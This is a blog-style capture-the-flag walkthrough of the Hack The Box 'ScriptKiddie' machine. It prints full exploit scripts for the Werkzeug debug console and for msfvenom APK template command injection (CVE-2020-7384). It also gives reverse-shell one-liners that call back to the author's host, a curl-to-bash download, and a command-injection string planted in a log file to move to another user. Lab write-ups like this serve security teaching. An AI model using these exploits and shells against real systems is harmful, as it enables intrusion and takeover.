• Vosman

ScriptKiddie

Updated: Jul 30, 2021

Enumeration

NMAP

# Nmap 7.91 scan initiated Sat May 29 10:06:38 2021 as: nmap -sCV -vv -oA nmap/nmap_scriptkiddieScript 10.10.10.226
Nmap scan report for 10.10.10.226
Host is up, received echo-reply ttl 63 (0.017s latency).
Scanned at 2021-05-29 10:06:38 BST for 7s
Not shown: 998 closed ports
Reason: 998 resets
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 3c:65:6b:c2:df:b9:9d:62:74:27:a7:b8:a9:d3:25:2c (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/YB1g/YHwZNvTzj8lysM+SzX6dZzRbfF24y3ywkhai4pViGEwUklIPkEvuLSGH97NJ4y8r9uUXzyoq3iuVJ/vGXiFlPCrg+QDp7UnwANBmDqbVLucKdor+JkWHJJ1h3ftpEHgol54tj+6J7ftmaOR29Iwg+FKtcyNG6PY434cfA0Pwshw6kKgFa+HWljNl+41H3WVua4QItPmrh+CrSoaA5kCe0FAP3c2uHcv2JyDjgCQxmN1GoLtlAsEznHlHI1wycNZGcHDnqxEmovPTN4qisOKEbYfy2mu1Eqq3Phv8UfybV8c60wUqGtClj3YOO1apDZKEe8eZZqy5eXU8mIO+uXcp5zxJ/Wrgng7WTguXGzQJiBHSFq52fHFvIYSuJOYEusLWkGhiyvITYLWZgnNL+qAVxZtP80ZTq+lm4cJHJZKl0OYsmqO0LjlMOMTPFyA+W2IOgAmnM+miSmSZ6n6pnSA+LE2Pj01egIhHw5+duAYxUHYOnKLVak1WWk/C68=
|   256 b9:a1:78:5d:3c:1b:25:e0:3c:ef:67:8d:71:d3:a3:ec (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJA31QhiIbYQMUwn/n3+qcrLiiJpYIia8HdgtwkI8JkCDm2n+j6dB3u5I17IOPXE7n5iPiW9tPF3Nb0aXmVJmlo=
|   256 8b:cf:41:82:c6:ac:ef:91:80:37:7c:c9:45:11:e8:43 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOWjCdxetuUPIPnEGrowvR7qRAR7nuhUbfFraZFmbIr4
5000/tcp open  http    syn-ack ttl 63 Werkzeug httpd 0.16.1 (Python 3.8.5)
| http-methods: 
|_  Supported Methods: POST HEAD OPTIONS GET
|_http-server-header: Werkzeug/0.16.1 Python/3.8.5
|_http-title: k1d'5 h4ck3r t00l5
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat May 29 10:06:45 2021 -- 1 IP address (1 host up) scanned in 7.53 seconds

OK two ports open:

22: SSH tells us it's an Ubuntu box

5000: Unusual port but NMAP says it's running a web server


A further full TCP port scan didn't find anything.


Let's go see what's at port 5000.


Web Server on port 5000

OK looks simple enough but there are no links to anywhere else. Let's give it a quick directory enumeration.


GoBuster

gobuster dir -u http://10.10.10.226:5000/ -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt

Turned up nothing.


Right, looks like it's just one web application page. There has to be a way in through this page somewhere. Let's go dig into the application.

 

Web Investigation

Three input functions perform some server side commands based on user input:


NMAP

The nmap option does work but I can't do much with that as the input field won't take anything other than the required IP formated string. I tried to manipulate the input in BurpSuite but nothing seems to work




PAYLOADS

The payloads option is more interesting as it takes a file upload. It has three options Windows, Linux and Android. When supplying input it generates a meterpreter payload so this must be using msfvemon or msfpayload to generate it on the back end. Will need to investigate this further.





SPLOITS

The sploits options appears to search the searchsploit database on the back end. I've had a play with the inputs but it only seems to search the database and I can't see a way to break out. I'll have a look at this in BurpSuite and see if there's something more interesting here.




 

Exploiting The Host

Ok so the nmap field is pretty boring so I think the next two areas are the more likely way into this box.


Poking at the Searchsploit Input Field

Let's take a look at the sploits option and see if there's anything there we can do.


First let's capture a request in BurpSuite:

Ok, this brings back a lot of entries from the searchsploit database but it seems to match what I have on my system so it looks like it is an actual real version of the database. This indicates to me that Metasploit is installed on this box for real which could be interesting.


I tried to play around with the input parameters but nothing very interesting happened. Some changes and some error messages but nothing that would indicate a way on to the box, so I need to rethink this approach.


Let's have a look at the response header:

We can see it's running Werkzeug/0.16.1 webserver. Let's take a look and see if there's any vulnerabilities for this.




Searching the searchsploit database on my host I see there is a Python script that can execute code on the server if the server has its debug console enabled.

Let's take a look at the exploit code:

#!/usr/bin/env python
import requests
import sys
import re
import urllib

# usage : python exploit.py 192.168.56.101 5000 192.168.56.102 4422 

if len(sys.argv) != 5:
    print ("USAGE: python %s <ip> <port> <your ip> <netcat port>" % (sys.argv[0]))
    sys.exit(-1)


response = requests.get('http://%s:%s/console' % (sys.argv[1],sys.argv[2]))

if "Werkzeug " not in response.text:
    print ("[-] Debug is not enabled")
    sys.exit(-1)

# since the application or debugger about python using python for reverse connect 
cmd = '''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%s",%s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);''' % (sys.argv[3],sys.argv[4])

__debugger__ = 'yes'

frm = '0'

response = requests.get('http://%s:%s/console' % (sys.argv[1],sys.argv[2]))

secret = re.findall("[0-9a-zA-Z]{20}",response.text)

if len(secret) != 1:
    print ("[-] Impossible to get SECRET")
    sys.exit(-1)
else:
    secret = secret[0]
    print ("[+] SECRET is: "+str(secret))

# shell
print ("[+] Sending reverse shell to %s:%s, please  use netcat listening in %s:%s" % (sys.argv[1],sys.argv[2],sys.argv[3],sys.argv[4]))

raw_input("PRESS ENTER TO EXPLOIT")

data = {
        '__debugger__' : __debugger__,
        'cmd' : str(cmd),
        'frm' : frm,
        's' : secret
        }


response = requests.get("http://%s:%s/console" % (sys.argv[1],sys.argv[2]), params=data,headers=response.headers)

print ("[+] response from server")
print ("status code: " + str(response.status_code))
print ("response: "+ str(response.text))

I tried just browsing to the /console URL and it didn't work, but may as well try this anyway:

Of course it's a "Python 2" file and I only have "Python 3" so I need to fix these "Print" statements as shown in code block above.


Now the code is fixed let's try that again:

So it's confirmed, the debug console cannot be accessed so this looks like a dead end.


Poking at the Paylod Functionality

Ok as the Searchsploit function doesn't seem to be the way in let's take a look at the payloads functionality. I'll try just generating a Windows payload with my own IP address first and see what happens:

Hmm... OK that seems to have generated a payload but let's download it and see what it is. Examining the payload; it does appear to be a Windows.exe made using msfvenom.


This is interesting, I wonder what happens if I generate a Linux and an Android one:

Seems the Linux one doesn't work.






Looks like the Android one works though.





So I can generate a payload but that's not going to get me on the box as it would need to be uploaded to the box and executed and it doesn't look likely that I can do that however, there is a "template file" upload box here though so maybe that's the way in?


Let's try creating a file and using that as a template and see what happens:

Create a dummy file to upload first echo TEST > test.txt.

Response:

Ok so it needs to be an .exe file to work as a template, what about the other options?




This makes sense, the Linux template needs to be an ELF and the Android needs to be an APK. So, I think we can probably count out the Windows route as we're trying to get onto a Linux box as shown by the nmap enumeration.

We can probably also forget the Linux template route too because when trying to generate that type it just errors each time. Although, it might still be the way in can't say for certain just yet.


Right lets have a moment here and think:

This template upload seems to be the most likely way to get code onto the box but how can we execute it once it's there. It's all well and good generating our own payload template but how do we get the server to process it???

Ok, so I think the server is creating a payload with msfvenom, so how does msfvenom handle these template files?


Time for a little research online. I found on Exploit-DB.com a mention of APK template command injection! This has to be it, there's too much of a coincidence here.


Let's take a look at the exploit code:

# Exploit Title: Metasploit Framework 6.0.11 - msfvenom APK template command injection
# Exploit Author: Justin Steven
# Vendor Homepage: https://www.metasploit.com/
# Software Link: https://www.metasploit.com/
# Version: Metasploit Framework 6.0.11 and Metasploit Pro 4.18.0
# CVE : CVE-2020-7384

#!/usr/bin/env python3
import subprocess
import tempfile
import os
from base64 import b64encode

# Change me
payload = 'echo "Code execution as $(id)" > /tmp/win'

# b64encode to avoid badchars (keytool is picky)
payload_b64 = b64encode(payload.encode()).decode()
dname = f"CN='|echo {payload_b64} | base64 -d | sh #"

print(f"[+] Manufacturing evil apkfile")
print(f"Payload: {payload}")
print(f"-dname: {dname}")
print()

tmpdir = tempfile.mkdtemp()
apk_file = os.path.join(tmpdir, "evil.apk")
empty_file = os.path.join(tmpdir, "empty")
keystore_file = os.path.join(tmpdir, "signing.keystore")
storepass = keypass = "password"
key_alias = "signing.key"

# Touch empty_file
open(empty_file, "w").close()

# Create apk_file
subprocess.check_call(["zip", "-j", apk_file, empty_file])

# Generate signing key with malicious -dname
subprocess.check_call(["keytool", "-genkey", "-keystore", keystore_file, "-alias", key_alias, "-storepass", storepass,
                       "-keypass", keypass, "-keyalg", "RSA", "-keysize", "2048", "-dname", dname])

# Sign APK using our malicious dname
subprocess.check_call(["jarsigner", "-sigalg", "SHA1withRSA", "-digestalg", "SHA1", "-keystore", keystore_file,
                       "-storepass", storepass, "-keypass", keypass, apk_file, key_alias])

print()
print(f"[+] Done! apkfile is at {apk_file}")
print(f"Do: msfvenom -x {apk_file} -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -o /dev/null")

It's another "Python 2" script so I have fixed the "Print" statements so that it can work when it's run.


This is a nice little script as it takes a command of our choosing, Base64 encodes it, creates an APK file and signs it. However the most handy line in this code is actually the last one. It gives us a clue as to how the msfvenom command string is put together to use the APK template. So msfvenom takes the APK template file as an argument, unpacks it and in doing so runs the code inside. Not sure why it does this but if it works...*shrug*


Ok using this script let's change the payload to something we can use safely to see if we get code execution:

# Change me
payload = 'ping -c 1 10.10.14.2'

Run the script and it generates the "evil.apk" file with our new ping command:

Let's add this to the template file upload function on the Android setting and see if we get a ping back:

First let's set up the tcpdump for icmp tcpdump -i tun0 icmp

Now upload the template:












SUCCESS!! We have code execution on the server!


Getting User.txt

Ok so we have code execution, now we need to get a reverse shell. The first thing to try is the good old bash reverse shell. So let's try that in the payload of the APK template creator script:

# Change me
payload = 'bash -i >& /dev/tcp/10.10.14.2/9001 0>&1'

Setup the netcat listener on port 9001 as specified in my payload

nc -lvnp 9001

upload the APK template and...

Fudge! Looks like script can't handle some of the characters in the bash reverse shell one liner. Ok, if that reverse shell isn't going to work a lot of others probably won't either so we'll have to go a slightly longer way around. Let's put the reverse shell code into a file that can be requested by the server and then executed:

echo "bash -i >& /dev/tcp/10.10.14.2/9001 0>&1" > rev.sh

Now let's fire up a Python web server and host this file:

python3 -m http.server 8001

And now change our payload in the APK creator script to download the file and pipe over to bash for execution:

# Change me
payload = 'curl http://10.10.14.2:8001/rev.sh | bash'

Good this payload works in the APK script. Now let's upload our evil.apk file to the server through the web application again, and...

Yes, we got a call back to our web server...

SUCCESS!! We now have a shell on the box as the 'kid' user.


Moving up one directory (cd ..) we find the user.txt file with the flag code:

fefd98a0a88e3e64bbd184a98fddb86d

Excellent! We have now completed the user portion.


Getting Root

Ok, although this netcat shell works and we could probably make it better by using the background session and stty raw -echo and export TERM=xterm commands, we know this box has SSH running so let's use that to get a nicer looking and functional shell.


Generating Some SSH Keys & Getting An SSH Shell

Let's get some SSH keys sorted for this box using ssh-keygen -f sshkey with no password. Ok now lets copy the public key to our clipboard (sshkey.pub) and add it to the Authorized_Keys file on the server:

cd .ssh
echo -n "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCey6NV9DhQ2amcCGxTBMuMTv+kaFfzGKL0mHS5svNPUvYk43vuYu6o58ms1e5bvHfGHTx+Qw2fgNs43Du3hJpXx+vnHHM1Pwz/Ruo4WsUziyZmwMonO9bGMvjIhlZeoH7lBiTOU1qmA23BvKLEtFFe+MF9r/ptOvg5DOLsbQ8doAzri/tLajldRMyKMJhIet8L7tTsdGLoqrVnbcGsPIZrxXVKX8QEg7z75xdBfPTj+2fiBu+xL6mu3V+XBpzAUHbyCaZ1ZCIkCnQJsl7HyDTKJlSKgAaKCNKy553Ke9BvMFZ5oJJItXMzK8Z5258KYuzEdtosYSyG+mNefjxXLJJ+4Bc3WtF+HmJVl38S1SBQeLbwl/kh6QqAZu3GEmvGENHxU6I2lsradnB5y78Z9C1+zhGQYtyh+zauT4uzF53n2YQP2mok8ZvYvxZJGU/JSuPvHpvqRBJDO2pm3nUQwqQBJgYJRAF9bvb8HPmweLS5WnJMhAt23NnMYcJ73bTZ1L8=" >> Authorized_Keys

We don't need our netcat shell anymore so can just exit out of that and now SSH onto the box from our own host ssh -i sshkey kid@10.10.10.226:

Having A Look Around

Ok so now we're on the box with a stable SSH shell, let's have a look around:

Ok not much here to look at. Let's move up a directory and see what users there are cd ..

Ok a user called 'pwn'.


Let's see if we can see anything in their directory cd pwn; ls -lash:

Ok what's this scanlosers.sh script? It's readable, let's cat it to see what it's doing.

Right this is interesting, the script pulls the values from the hackers file in 'kid' user directory. The cut command is using the -f3- flag so it should output the third field onwards in a string using a space as delimiter character and stores that value in the ip variable. It then puts the ip variable value into the sh command. We could potentially break the command with our input and use this to get code executed in the context of the 'pwn' user. We just need to figure out how to get this to trigger because we can't execute the script.


Ok let's pause for thought again here:

We know this is supposed to be a "script kiddie" so they will be automating everything. So it's likely the scanlosers.sh script will be run automatically every so often.

Let's try putting something into the hackers file, as we control that file, and see what happens. A good way to do this is to use the trusty ping command and see if we get a hit.


Set up the tcpdump again for icmp tcpdump -i tun0 icmp.

Then on the server cd /home/kid/logs && nano hackers and add the line 1 2 3;ping -c 1 10.10.14.2;. Save the file hackers file:

SUCCESS! We have code execution from the scanlosers.sh script.


Ok, we already have a file with our reverse shell code saved in the 'kid/html' directory (rev.sh) from earlier. We can use this again to give ourselves another shell from the 'pwn' user. First let's setup the listener again nc -lvnp 9001 and then edit the hackers file again and add the line:

1 2 3;cat /home/kid/html/rev.sh | bash; 

Again we're going to just pipe the output of the file to bash to execute it:

SUCCESS!! We've now laterally moved to the 'pwn' user.


Now what can this user do? One of the first things I always check is what sudo commands a user can run so lets see sudo -l:

Excellent!! Well that solves it really, being able to run metasploit as root without a password will give us an easy elevation to the root user as you can run commands from within the msfconsole very easily. So let's fire up msfconsole as root

sudo /opt/metasploit-framework-6.0.9/msfconsole

AWESOME!! We are now root on the box.


Ok so the terminal is a little screwy because we're using a netcat shell. If we moved to an SSH shell it would be better but this will do for the purposes of getting the root flag.


For completness we could just quickly do another netcat shell to tidy up I suppose...


In our 'kid' user SSH session copy the rev.sh script to rev2.sh and we'll just quickly edit it nano rev2.sh and then edit the line to:

bash -i >& /dev/tcp/10.10.14.2/9002 0>&1

On our machine get another listener up nc -lvnp 9002 and then within our root user msfconsole instance cat /home/kid/html/rev2.sh | bash:

Ok now we have better shell to work with to go grab the flag cat /root/root.txt:

6d1091db3cd05877fb97690b7316b0e4

Job Done!

Vosman @vosNET-Cyber

53 views0 comments

Recent Posts

See All

Knife